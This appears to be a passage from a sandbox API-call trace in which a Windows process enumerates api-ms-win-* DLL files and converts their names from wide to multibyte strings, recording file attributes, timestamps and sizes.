(in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.976] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.976] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x30c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0035.976] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.976] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x30c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0035.977] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x30c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0035.977] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x30c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0035.977] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x30c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0035.977] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x30c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0035.977] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x30c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0035.977] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.977] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.977] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.978] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x30c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0035.978] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x30c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0035.978] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x30c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0035.978] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.978] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x30c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0035.978] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x30c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0035.978] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x30c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0035.978] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 